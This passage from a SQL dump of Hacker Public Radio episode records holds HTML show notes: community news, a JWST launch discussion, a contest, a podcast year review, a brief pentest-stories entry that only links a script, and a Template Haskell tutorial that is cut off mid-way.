e-readers\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 13 comments on 8 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3740#comments\" target=\"_blank\">hpr3740</a></strong>\n(2022-12-02) \"<em>Batch File Variables; Nested Batch Files</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3740#1\" target=\"_blank\">Comment 1</a>:\nHipernike on 2022-09-01:\n\"Forkbomb\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3740#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2022-09-01:\n\"You are most welcome\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3741#comments\" target=\"_blank\">hpr3741</a></strong>\n(2022-12-05) \"<em>HPR Community News for November 2022</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3741#1\" target=\"_blank\">Comment 1</a>:\nZen_floater2 on 2022-12-05:\n\"Freedom VS Free\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3744#comments\" target=\"_blank\">hpr3744</a></strong>\n(2022-12-08) \"<em>Advent of code Day 1 - 4</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3744#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2022-12-08:\n\"Fun with Advent of Code (AoC)\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3746#comments\" target=\"_blank\">hpr3746</a></strong>\n(2022-12-12) \"<em>Cpuinfo</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">Klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3746#1\" target=\"_blank\">Comment 1</a>:\nzloster on 2022-12-12:\n\"A tool with very detailed information about the cache configuration of the CPUs\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3750#comments\" target=\"_blank\">hpr3750</a></strong>\n(2022-12-16) \"<em>Southern Arizona</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3750#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2022-12-17:\n\"Ajo\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3750#2\" target=\"_blank\">Comment 2</a>:\nbrian-in-ohio on 2022-12-17:\n\"history\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3754#comments\" target=\"_blank\">hpr3754</a></strong>\n(2022-12-22) \"<em>GOD probably will use a Chromebook</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3754#1\" target=\"_blank\">Comment 1</a>:\nBill Dietrich on 2022-12-24:\n\"Twitter\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3756#comments\" target=\"_blank\">hpr3756</a></strong>\n(2022-12-26) \"<em>Verify yourself on Mastodon with PGP and Keyoxide</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">Klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3756#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-12-27:\n\"I have done this\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3756#2\" target=\"_blank\">Comment 2</a>:\nnorrist on 2022-12-27:\n\"Me too\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3757#comments\" target=\"_blank\">hpr3757</a></strong>\n(2022-12-27) \"<em>Career changes.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3757#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2022-12-27:\n\"Thanks for sharing.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3757#2\" target=\"_blank\">Comment 2</a>:\njanedoc on 2022-12-27:\n\"Thanks for an informative show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3757#3\" target=\"_blank\">Comment 3</a>:\nbinrc on 2022-12-28:\n\"binrc@protonmail.com\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-December/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-December/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"older-hpr-shows-on-archive.org-phase-2\">Older HPR shows on\narchive.org, phase 2</h3>\n<p>Now that all shows from number 1 to the latest have been uploaded to\nthe Internet Archive there are other tasks to perform. We are\nreprocessing and re-uploading shows in the range 871 to 2429 as\nexplained in the Community News show notes released in <a\nhref=\"http://hackerpublicradio.org/eps.php?id=3586#older-hpr-shows-on-archive.org-phase-2\">May\n2022</a>. We are keeping a running total here to show progress:</p>\n<table>\n<tr>\n<th>\nMonth\n</th>\n<th>\nMonth count\n</th>\n<th>\nRunning total\n</th>\n<th>\nRemainder\n</th>\n</tr>\n<tr>\n<td>\n2022-04\n</td>\n<td>\n130\n</td>\n<td>\n130\n</td>\n<td>\n1429\n</td>\n</tr>\n<tr>\n<td>\n2022-05\n</td>\n<td>\n140\n</td>\n<td>\n270\n</td>\n<td>\n1289\n</td>\n</tr>\n<tr>\n<td>\n2022-06\n</td>\n<td>\n150\n</td>\n<td>\n420\n</td>\n<td>\n1139\n</td>\n</tr>\n<tr>\n<td>\n2022-07\n</td>\n<td>\n155\n</td>\n<td>\n575\n</td>\n<td>\n984\n</td>\n</tr>\n<tr>\n<td>\n2022-08\n</td>\n<td>\n155\n</td>\n<td>\n730\n</td>\n<td>\n829\n</td>\n</tr>\n<tr>\n<td>\n2022-09\n</td>\n<td>\n150\n</td>\n<td>\n880\n</td>\n<td>\n679\n</td>\n</tr>\n<tr>\n<td>\n2022-10\n</td>\n<td>\n155\n</td>\n<td>\n1035\n</td>\n<td>\n524\n</td>\n</tr>\n<tr>\n<td>\n2022-11\n</td>\n<td>\n230\n</td>\n<td>\n1265\n</td>\n<td>\n294\n</td>\n</tr>\n<tr>\n<td>\n2022-12\n</td>\n<td>\n294\n</td>\n<td>\n1559\n</td>\n<td>\n0\n</td>\n</tr>\n</table>\n<p>\n<small><small>Table updated: 2022-12-29 20:54:45</small></small>\n</p>\n<h3>\nThanks to all 51 HPR contributors in 2022!\n</h3>\n<p>\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\">Andrew\nConway</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\">Archer72</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\">b-yeezi</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=246\">Beeza</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=288\">beni</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\">binrc</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=396\">BlacKernel</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\">Brian\nin Ohio</a>,\n</li>\n<li>\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=380\">Carl</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=413\">CCHits.net\nTeam</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=407\">Celeste</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\">Claudio\nMiranda</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\">Daniel\nPersson</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave\nMorriss</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=194\">Deltaray</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\">dnt</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=309\">folky</a>,\n</li>\n<li>\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=410\">Hipernike</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\">Honkeymagoo</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR\nVolunteers</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\">Jeroen\nBaten</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\">Jezra</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\">JWP</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken\nFallon</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=414\">Kinghezy</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">Klaatu</a>,\n</li>\n<li>\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\">knightwise</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=403\">Lee</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\">Lurking\nPrion</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=412\">m0dese7en</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\">Mechatroniac</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\">monochromec</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\">norrist</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=398\">one_of_spoons</a>,\n</li>\n<li>\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\">operat0r</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=411\">Paul\nJ</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=128\">pokey</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\">Rho`n</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=404\">Sarah</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\">Some\nGuy On The Internet</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=408\">Stache_AF</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=402\">takov751</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=392\">timttmy</a>,\n</li>\n<li>\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\">Tony\nHughes AKA TonyH1212</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\">Trey</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=389\">TrumpetJohn</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\">tuturto</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=196\">Windigo</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\">Zen_Floater2</a>.\n</li>\n</ul>\n</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3504,'2022-01-06','James Webb Space Telescope',2718,'Andrew and Dave watch the launch of the JWST','<h2 id=\"overview\">Overview</h2>\r\n<p>On Christmas Day 2021 at 12:20 UTC the James Webb Space Telescope was launched. This is the largest telescope ever sent into space and the project has been delayed for many years. The entire astronomical community was very nervous about the launch and about the phase that will follow as the telescope is set up for use.</p>\r\n<p><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" title=\"Andrew Conway\">Andrew Conway</a> was previously a professional Astronomer, and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" title=\"Dave Morriss\">Dave</a> is very interested in the subject as an amateur. They got together on Mumble to witness the launch, and the dialogue was recorded and is presented here.</p>\r\n<h2 id=\"the-jwst\">The JWST</h2>\r\n<p>Quote from <a href=\"https://en.wikipedia.org/wiki/James_Webb_Space_Telescope\" title=\"James Webb Space Telescope\">Wikipedia</a> (a page that is being updated as the project proceeds):</p>\r\n<blockquote>\r\n<p>The James Webb Space Telescope (JWST) is a space telescope developed by NASA with contributions from the European Space Agency (ESA), and the Canadian Space Agency (CSA). The telescope is named after James E. Webb, who was the administrator of NASA from 1961 to 1968 and played an integral role in the Apollo program. It is intended to succeed the Hubble Space Telescope as NASA’s flagship mission in astrophysics. JWST was launched 25 December 2021 on Ariane flight VA256. It is designed to provide improved infrared resolution and sensitivity over Hubble, and will enable a broad range of investigations across the fields of astronomy and cosmology, including observations of some of the most distant events and objects in the Universe such as the formation of the first galaxies, and allowing detailed atmospheric characterization of potentially habitable exoplanets.</p>\r\n<p>JWST’s primary mirror, the Optical Telescope Element, consists of 18 hexagonal mirror segments made of gold-plated beryllium which combine to create a 6.5 meter (21 ft 4 inch) diameter mirror – considerably larger than Hubble’s 2.4 m (7.9 ft) mirror. Unlike Hubble, which observes in the near ultraviolet, visible, and near infrared (0.1–1.0 μm) spectra, JWST will observe in a lower frequency range, from long-wavelength visible light (red) through mid-infrared (0.6–28.3 μm). This will enable it to observe high-redshift objects that are too old and too distant for Hubble. The telescope must be kept very cold to observe in the infrared without interference, so it will be deployed in space near the Sun–Earth L2 Lagrange point, about 1.5 million kilometers (930,000 mi) from Earth. A large sunshield made of silicon- and aluminum-coated Kapton will keep its mirror and instruments below 50 K (−223 °C; −370 °F).</p>\r\n<p>The NASA Goddard Space Flight Center (GSFC) in Maryland managed the development and the Space Telescope Science Institute is operating JWST. The prime contractor was Northrop Grumman.</p>\r\n<p>Development began in 1996 for a launch that was initially planned for 2007 with a US$500 million budget. There were many delays and cost overruns, including a major redesign in 2005, a ripped sunshield during a practice deployment, a recommendation from an independent review board, the COVID-19 pandemic, issues with the Ariane 5 rocket and the telescope itself, and communications issues between the telescope and the launch vehicle. Concerns among the involved scientists and engineers about the launch and deployment of the telescope have been well-described.</p>\r\n<p>Construction was completed in late 2016, when an extensive testing phase began. JWST was launched 12:20 UTC 25 December 2021 by an Ariane 5 launch vehicle from Kourou, French Guiana and was released from the upper stage 27 minutes later. The telescope was confirmed to be receiving power, and as of December 2021 is traveling to its target destination.</p>\r\n</blockquote>\r\n<h2 id=\"witnessing-the-launch\">Witnessing the launch</h2>\r\n<p>Andrew and Dave came up with the idea of watching the launch and talking about it on Mumble. Although this was not originally planned, the audio was recorded, and is included here.</p>\r\n<p><small>Note: Dave’s audio had a background hum which has been reduced a little with Audacity’s <em>notch filter</em>. Hopefully it’s not too distracting.</small></p>\r\n<p>We were puzzled that the altitude of the final stage of the rocket plus telescope decreased during launch. See the link below to a YouTube episode from Anton Petrov explaining what was going on.</p>\r\n<p>In the context of orbital mechanics, Dave spoke of another mission which is heading to Mercury but passing by inner planets to adjust speed. The name couldn’t be recalled at the time, but it was <a href=\"https://en.wikipedia.org/wiki/BepiColombo\" title=\"BeliColombo mission to Mercury\">BepiColombo</a> which is taking a 7-year path to its destination.</p>\r\n<h2 id=\"deployment-after-launch\">Deployment after launch</h2>\r\n<p>At the time of preparing these notes (2022-01-02) the JWST is en route to the (Sun-Earth) <a href=\"https://en.wikipedia.org/wiki/Lagrange_point\" title=\"Lagrange point\">L2</a> point, about 1 million miles (1.5 million kilometres) from Earth. Along the way it is preparing itself for use, deploying the features which were folded up or stowed away when it was being launched. See the <a href=\"https://www.jwst.nasa.gov/content/webbLaunch/deploymentExplorer.html\" title=\"JWST Deployment Explorer\"><em>deployment explorer</em></a> site for details of what is happening.</p>\r\n<p>There are enormous amounts of information about this project on the web, some examples of which are linked below. Searching with your favourite search engine will certainly reveal more.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Wikipedia article on the <a href=\"https://en.wikipedia.org/wiki/James_Webb_Space_Telescope\">James Webb Space Telescope</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=7nT7JGZMbtM\">James Webb Space Telescope Launch — Official NASA Broadcast</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=_abdV-HtEJQ\">YouTube video explaining why the JWST lost altitude during launch</a></li>\r\n<li>Wikipedia article on <a href=\"https://en.wikipedia.org/wiki/Lagrange_point\">Lagrange points</a></li>\r\n<li>NASA <a href=\"https://www.jwst.nasa.gov/content/webbLaunch/deploymentExplorer.html\">JWST Deployment Explorer</a></li>\r\n<li>Wikipedia article on <a href=\"https://en.wikipedia.org/wiki/BepiColombo\">BepiColombo mission</a></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','astronomy,telescope,rocket launch,JWST,NASA,ESA,CSA',0,0,1),
(3506,'2022-01-10','HPR CONTEST 2022 01',119,'I give away 50$ prize !','<h3 id=\"upload-today\">Upload today!</h3>\r\n<p><a href=\"https://hackerpublicradio.org/calendar.php\" class=\"uri\">https://hackerpublicradio.org/calendar.php</a></p>\r\n<h3 id=\"rules\">RULES:</h3>\r\n<ul>\r\n<li>only new host or existing host interviewing a 3rd party</li>\r\n<li>I pick the winner</li>\r\n<li>don\'t abuse the system to win the prize ;P</li>\r\n</ul>\r\n',36,0,1,'CC-BY-SA','contest',0,0,1),
(3529,'2022-02-10','Linux Inlaws S01E48: Year Two of the Five Year Plan',3127,'The two ageing heroes discuss the past year in review','<p>Right into the third year of the first five-year plan our two ageing heroes\r\ndiscuss the past year in review (blatantly stealing this concept from other\r\npopular podcasts), focussing on the hotter episodes of second year and\r\nprogress with increasing the number of active listeners from two to five and\r\nbeyond. Also, major fuck-ups and lessons learned from them are revealed\r\nincluding some ranting about badly designed and implemented software never\r\nmind documentation.</p>\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Shameless self-promoting link to the Redis presentation at the 2021 MiniDebConf in Regensburg (among other things): <a href=\"https://meetings-archive.debian.net/pub/debian-meetings/2021/MiniDebConf-Regensburg\" target=_blank>https://meetings-archive.debian.net/pub/debian-meetings/2021/MiniDebConf-Regensburg</a></li>\r\n<li>Grumpy Old Coders: <a href=\"https://grumpy-old-coders.org\" target=_blank>https://grumpy-old-coders.org</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','2021, review, communism, five year plan, Grumpy Old Coders, MiniDebConf',0,0,1),
(3514,'2022-01-20','Hacking Stories: Soft Drink',1270,'I talk about old pentest stories','<p>Mass unlock/powershell</p>\r\n<p>Link to <a href=\"https://github.com/freeload101/SCRIPTS/blob/ab7f96678e488f7ac6209ac45d4cfe8ca090920b/Windows_Powershell_ps/NOTES.ps1#L175\">NOTES.ps1</a></p>\r\n',36,0,1,'CC-BY-SA','hacking stories',0,0,1),
(3535,'2022-02-18','template Haskell',2849,'turturto talks how she\'s using template Haskell to cut down amount of code she writes','<p>There\'s certain amount of boilerplate code in my game that keeps repeating time after time. I can\'t quite remove it, but I can hide it with template haskell.</p>\r\n<h2 id=\"newtype-recap\">newtype recap</h2>\r\n<p>I\'ll be using <code>PlanetName</code> as an example throughout the show. <code>newtype</code> is Haskell\'s way of defining a new type, that wraps around an old type. This lets us to give better meaning to the wrapped type. Instead of talking about <code>Text</code>, we can talk about <code>PlanetName</code> and we won\'t accidentally mix it up with <code>StarName</code> or <code>ContentsOfAlexandrianLibrary</code>. It comes with no performance cost at all, as the wrapping is removed during the compilation.</p>\r\n<p>Below is how our <code>PlanetName</code> is defined:</p>\r\n<pre><code>newtype PlanetName\r\n   = MkPlanetName {_unPlanetName :: Text}\r\n   deriving (Show, Read, Eq)\r\n</code></pre>\r\n<p>It has:</p>\r\n<ul>\r\n<li>type constructor <code>PlanetName</code></li>\r\n<li>data constructor <code>MkPlanetName</code></li>\r\n<li>single field <code>_unPlanetName</code></li>\r\n<li>type for that field <code>Text</code></li>\r\n<li>deriving clause, telling compiler to automatically generate <code>Show</code>, <code>Read</code> and <code>Eq</code> instances</li>\r\n</ul>\r\n<p>If it were wrapping a <code>Integer</code>, we would add <code>Ord</code> and <code>Num</code> instances too.</p>\r\n<p>These instances give us some basic functions that we can use to turn out value into <code>String</code> and back or compare two values to see if they\'re equal or not. <code>Ord</code> lets us compare their relative size and <code>Num</code> adds some basic arithmetics like addition and subtraction.</p>\r\n<p>Remember, type constructor is used when talking about the type (function signatures, declaring type of a value, etc.), while data constructor is used to create values of the type (\"Earth\", \"Mars\", etc.). <code>isPlanet :: PlanetName -&gt; Bool</code> states that <code>isPlanet</code> function takes one parameter of type <code>PlanetName</code> and returns value of type <code>Bool</code>. <code>planet = MkPlanetName \"Earth\"</code> creates a new value <code>planet</code>, that has type <code>PlanetName</code> and which value is <code>MkPlanetName \"Earth\"</code>.</p>\r\n<h2 id=\"boilerplate\">Boilerplate</h2>\r\n<p>When <code>PlanetName</code> is defined, I need to add some instances by hand: <code>IsString</code>, <code>ToJSON</code>, <code>FromJSON</code>, <code>PersistField</code> and <code>PersistFieldSql</code>.</p>\r\n<p><code>IsString</code> lets me use string literals in code, without having to call the data constructor. Compiler is smart enough to infer from context if string I typed should be <code>PlanetName</code> or something else.</p>\r\n<p><code>ToJSON</code> and <code>FromJSON</code> are used to turn value to and from json for transferring back and forth between client and server. In json our value is just simple string, but we still need to program that transformation.</p>\r\n<p><code>PersistFieldSql</code> tells Persistent (database layer I\'m using) what type of database field should be created to hold this data in database.</p>\r\n<p><code>PersistField</code> contains functions for serializing our value to database and loading it from there.</p>\r\n<p>Below is full code that I want to abstract out as much as I can:</p>\r\n<pre><code>newtype PlanetName\r\n   = MkPlanetName {_unPlanetName :: Text}\r\n   deriving (Show, Read, Eq)\r\n\r\ninstance IsString PlanetName where\r\n   fromString = (MkPlanetName . fromString)\r\n\r\ninstance ToJSON PlanetName where\r\n   toJSON = (toJSON . _unPlanetName)\r\n\r\ninstance FromJSON PlanetName where\r\n   parseJSON = (withText &quot;PlanetName&quot;) (return . MkPlanetName)\r\n\r\ninstance PersistField PlanetName where\r\n   toPersistValue (MkPlanetName s) = PersistText s\r\n   fromPersistValue (PersistText s) = (Right $ MkPlanetName s)\r\n   fromPersistValue _ = Left &quot;Failed to deserialize&quot;\r\n\r\ninstance PersistFieldSql PlanetName where\r\n   sqlType _ = SqlString\r\n</code></pre>\r\n<h2 id=\"template-haskell\">Template Haskell</h2>\r\n<p>Template Haskell is an extension that adds metaprogramming capabilities to Haskell. One can write function that generates Haskell code and call it in appropriate place in source file. During compilation the function gets executed and resulting code injected in source file. After this source file is compiled normally. If you have used lisp macros, this is the similar thing.</p>\r\n<h2 id=\"generating-the-code\">Generating the code</h2>\r\n<p>We want a function that can be called like <code>$(makeDomainType \"PlanetName\" \'\'Text)</code> and it will create all the boiler plate for us.</p>\r\n<p>The function is show below:</p>\r\n<pre><code>makeDomainType :: String -&gt; Name -&gt; Q [Dec]\r\nmakeDomainType name fType = do\r\n    tq &lt;- reify fType\r\n    case tq of\r\n        TyConI (DataD _ tName _ _ _ _) -&gt;\r\n            selectDomainType name tName\r\n        _ -&gt; do\r\n            Language.Haskell.TH.reportError &quot;Only simple types are supported&quot;\r\n            return []\r\n</code></pre>\r\n<p><code>reify</code> is interesting function. When called during compile time and given a name, it\'ll figure what the name refers to and construct datastructure that contains relevant information about the thing. If you were to give it name of a function, you would have access to code inside of the function and could introspect it.</p>\r\n<p>Here we\'re using <code>tq &lt;- reify fType</code> to find out what kind of type our code should wrap. Code uses pattern matching to match <code>TyConI (DataD _ tName _ _ _ _)</code>. This is referring to a type constructor. In all other cases (more complex types, functions and so on), code reports and error.</p>\r\n<p>Since code should support different types of types and the respective generated code differs, next there\'s check to find out what kind of code to generate:</p>\r\n<pre><code>selectDomainType :: String -&gt; Name -&gt; Q [Dec]\r\nselectDomainType name fType\r\n    | fType == &#39;&#39;Text = makeTextDomainType name\r\n    | fType == &#39;&#39;Int  = makeIntDomainType name\r\n    | otherwise = do\r\n                    Language.Haskell.TH.reportError &quot;Unsupported type&quot;\r\n                    return []\r\n</code></pre>\r\n<p>This uses guard clause to check if <code>fType</code> is <code>Text</code> or <code>Int</code> and call respective function to generate it. Again, if there\'s no match, code reports an error.</p>\r\n<p>I could have written a function that generates all the code, but that would have been pretty long and hard to maintain. Instead of that, I opted to split generation in parts. <code>makeTextDomainType</code> calls these functions, one at a time and combines the results together to form the final code to be generated.</p>\r\n<pre><code>makeTextDomainType :: String -&gt; Q [Dec]\r\nmakeTextDomainType name = do\r\n    td &lt;- makeNewTypeDefinition name &#39;&#39;Text\r\n    si &lt;- makeIsStringInstance name\r\n    tj &lt;- makeToJSONInstance name\r\n    fj &lt;- makeFromJSONInstanceForText name\r\n    mp &lt;- makePersistFieldInstanceForText name\r\n    mps &lt;- makePersistFieldSqlInstance name &#39;&#39;Text\r\n    return $ td ++ si ++ tj ++ fj ++ mp ++ mps\r\n</code></pre>\r\n<p>Some of the functions called are specific for <code>Text</code> type, while others are written to work with <code>Text</code> and <code>Int</code>. The latter ones have extra parameter passed in to indicate which type of code should be generated.</p>\r\n<h2 id=\"actual-code-generation\">Actual code generation</h2>\r\n<p>Now we\'re getting into actual code generation. First one is <code>makeNewTypeDefinition</code>, which generates code for <code>newtype</code>.</p>\r\n<pre><code>makeNewTypeDefinition :: String -&gt; Name -&gt; Q [Dec]\r\nmakeNewTypeDefinition name fType = do\r\n    deriv &lt;- derivClausForNewType fType\r\n    return $\r\n        [NewtypeD []\r\n                 (mkName name)\r\n                 []\r\n                 Nothing\r\n                 (RecC (mkName $ &quot;Mk&quot; ++ name)\r\n                       [(mkName $ &quot;_un&quot; ++ name, Bang NoSourceUnpackedness NoSourceStrictness, (ConT fType))])\r\n                 [ DerivClause Nothing deriv]]\r\n</code></pre>\r\n<p>First step is to call <code>derivClausForNewType</code> to create deriving clause (we\'ll look into that just in a bit). The major part of the code consist of generating newtype definition. There\'s two ways for code generation: quoting (which works very similar to lisp macros) and writing abstract syntax tree by hand. No matter what I tried, I couldn\'t get the quoting work for newtype, so I had to write the AST out by hand. And as you can see, it\'s not particularly pleasant experience. Constructor names are short and cryptic and there\'s plenty of them there. Some major parts:</p>\r\n<ul>\r\n<li><code>NewtypeD</code> starts definition for newtype</li>\r\n<li><code>(mkName name)</code> creates <code>Name</code> for the newtype, <code>PlanetName</code> in our example</li>\r\n<li><code>RecC</code> record constuctor. We have a single record in our newtype, remember?</li>\r\n<li><code>DerivClause</code> deriving clause, which istructs compiler to autogenerate some useful instances for us</li>\r\n</ul>\r\n<p>And <code>RecC</code> takes a bunch of parameters to guide what kind of record we\'re actually creating:</p>\r\n<ul>\r\n<li><code>(mkName $ \"Mk\" ++ name)</code> creates <code>Name</code> for our record constructor, <code>MkPlanetName</code> in our case</li>\r\n<li>then there\'s a list of tuples defining fields of constructor, which has only one element in our case</li>\r\n<li>first is name of the field <code>mkName $ \"_un\" ++ name</code>, which is <code>_unPlanetName</code> in our case</li>\r\n<li><code>Bang</code> controls source packedness (that I don\'t know what it really is) and strictness (when value should be computed)</li>\r\n<li>finally, <code>ConT fType</code> creates type constructor call, indicating type of the field: <code>Text</code> in our case</li>\r\n</ul>\r\n<p>That\'s quite lot to write and keep track of. It\'s especially tedious to come back to code and figure out what it is exactly doing.</p>\r\n<p>Lets not forget our deriving clause:</p>\r\n<pre><code>derivClausForNewType :: Name -&gt; Q [Type]\r\nderivClausForNewType fType\r\n    | fType == &#39;&#39;Text = return $ (ConT . mkName) &lt;$&gt; [ &quot;Show&quot;, &quot;Read&quot;, &quot;Eq&quot; ]\r\n    | fType == &#39;&#39;Int = return $ (ConT . mkName) &lt;$&gt; [ &quot;Show&quot;, &quot;Read&quot;, &quot;Eq&quot;, &quot;Ord&quot;, &quot;Num&quot; ]\r\n    | otherwise = do Language.Haskell.TH.reportError &quot;Unsupported type&quot;\r\n                     return []\r\n</code></pre>\r\n<p>Again we\'re using guard to check if we\'re working with <code>Text</code> or <code>Int</code> and in any other case signal an error. <code>&lt;$&gt;</code> is used to call <code>(ConT . mkName)</code> function to elements in list of strings, getting back a list of type 